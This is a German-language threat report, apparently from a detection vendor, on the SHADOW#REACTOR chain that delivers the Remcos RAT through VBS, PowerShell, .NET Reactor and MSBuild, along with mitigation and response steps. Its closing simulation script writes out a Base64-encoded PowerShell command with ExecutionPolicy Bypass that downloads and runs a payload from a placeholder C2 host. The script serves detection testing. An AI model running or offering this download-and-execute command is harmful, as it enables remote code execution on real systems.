SOC Prime Bias: Mittel

15 Jan 2026 15:51 UTC

SCHATTEN#REAKTOR – TEXT-NUREN-STAGING, .NET REAKTOR UND IN-MEMORY REMCOS RAT BEREITSTELLUNG

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Folgen
SCHATTEN#REAKTOR – TEXT-NUREN-STAGING, .NET REAKTOR UND IN-MEMORY REMCOS RAT BEREITSTELLUNG
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

SHADOW#REACTOR ist eine mehrstufige Windows-Malware-Kette, die einen verschleierten VBS-Launcher, einen auf PowerShell basierenden Downloader, textbasierte Staging-Artefakte, einen durch .NET Reactor geschützten Loader und eine MSBuild-Ausführung kombiniert, um letztendlich den Remcos-RAT (Remote Access Trojan) bereitzustellen.

Untersuchung

Forscher rekonstruierten den Ablauf, beginnend mit einem VBS-Skript, das von der Infrastruktur des Angreifers abgerufen wurde, gefolgt von PowerShell-Routinen, die gestagete Text-Payloads zusammenstellen und decodieren. Die Kette fährt fort mit reflektivem, im Speicher geladenem .NET-Assembly und einer abschließenden Übergabe an MSBuild, das die Ausführung des Remcos RAT auslöst. Der Bericht dokumentiert die textcodierten Komponenten, die Entschlüsselungslogik und die Persistenzmethoden, die verwendet werden, um den Zugang aufrechtzuerhalten.

Minderung

Erhöhen Sie die Überwachungsabdeckung für Skriptausführungsprogramme und Interpreten und verhindern Sie die Ausführung von VBS/PowerShell von benutzerbeschreibbaren Pfaden, wo immer möglich. Fügen Sie Erkennungen für verdächtigen ausgehenden HTTP-Verkehr zur identifizierten Infrastruktur, MSBuild-Missbrauch und reflektives .NET-Assembly-Laden hinzu. Überwachen Sie gängige Persistenzmuster, einschließlich Run-Key-Modifikationen und verknüpfungsbasierte Start-Einträge.

Reaktion

Wenn SHADOW#REACTOR-Aktivität bestätigt wird, isolieren Sie den Endpunkt und beenden Sie die gesamte Prozesskette (wscript.exe → powershell.exe → msbuild.exe). Entfernen Sie alle gestageten Textdateien und zugehörigen Registrierungseinträge und beheben Sie dies, indem Sie Remcos-Binärdateien und zugehörige Konfigurationsdateien löschen. Folgen Sie mit einer gründlichen forensischen Überprüfung, um zusätzliche Kompromittierungen zu erfassen und vollständige Ausmerzung zu gewährleisten.

Angriffsfluss

Simulation Ausführung

Voraussetzung: Der Telemetrie- & Basislinienvorflug-Check muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Gegnertechnik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und der Bericht MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffserzählung & Befehle:
    Ein Angreifer mit begrenzten Laterale-Movement-Rechten möchte ein Remote-Payload auf einem kompromittierten Windows-Host ausführen, während er typische Script-Blockierungsabwehr umgeht. Dazu verwenden sie PowerShell mit -ExecutionPolicy Bypass um Ausführungsrichtlinienbeschränkungen zu ignorieren. Das bösartige Payload ist als Base64-kodierter String verschleiert, der bei Decodierung ein System.Net.WebClient Objekt erstellt, um ein PowerShell-Skript von einem C2-Server herunterzuladen und auszuführen. Diese Kombination erfüllt alle drei Erkennungskriterien (ExecutionPolicy Bypass, FromBase64String, System.Net.WebClient).

  • Regressionstest-Skript:

    #--------------------------------------------
    # Simulierte bösartige PowerShell-Ausführung
    #--------------------------------------------
    # 1. Erstelle ein einfaches remotees Skript (nur für Demo)
    $remoteScript = 'Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://{C2_HOST}/payload.ps1")'
    # 2. Kodieren Sie das Skript in Base64
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($remoteScript)
    $b64   = [Convert]::ToBase64String($bytes)
    # 3. Führen Sie mit ExecutionPolicy Bypass und FromBase64String aus
    PowerShell -ExecutionPolicy Bypass -Command "
        $decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$b64'));
        Invoke-Expression $decoded
    "
  • Bereinigungsbefehle:

    # Entfernen Sie alle heruntergeladenen Nutzlasten und beenden Sie verbleibende PowerShell-Prozesse
    Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'ExecutionPolicy Bypass'} | Stop-Process -Force
    Remove-Item -Path "C:Temppayload.ps1" -ErrorAction SilentlyContinue